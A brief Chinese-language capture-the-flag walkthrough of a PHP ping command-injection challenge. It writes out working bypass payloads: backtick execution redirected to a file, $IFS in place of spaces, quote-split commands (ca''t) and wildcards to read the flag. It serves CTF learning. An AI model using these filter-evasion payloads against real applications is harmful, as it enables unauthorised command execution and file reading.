http://bmzclub.cn/challenges#shell_exec
命令执行绕过
ping -c 2 "$_POST[ip]" 2>&1
2>&1
是将标准出错重定向到标准输出,也是就是我们直接在ip
位置传入命令是没有回显的,需要在这个位置定义一个标准输出文件即以下这种形式
ping -c 2 "command>1.txt" 2>&1
fuzz一下发现同时还过滤了很多关键字符,但是发现没有过滤反引号
,即可构造
`ls>1.txt`
然后访问1.txt
发现成功将执行结果输出到了这个文件
查看根目录,空格被过滤了使用$IFS
代替
`ls$IFS/>1.txt`
读取flag文件,cat
被过滤,但是可以用ca''t
这种方法绕过,flag
关键字也被过滤,用通配符?
代替
`ca''t$IFS/fla?>1.txt`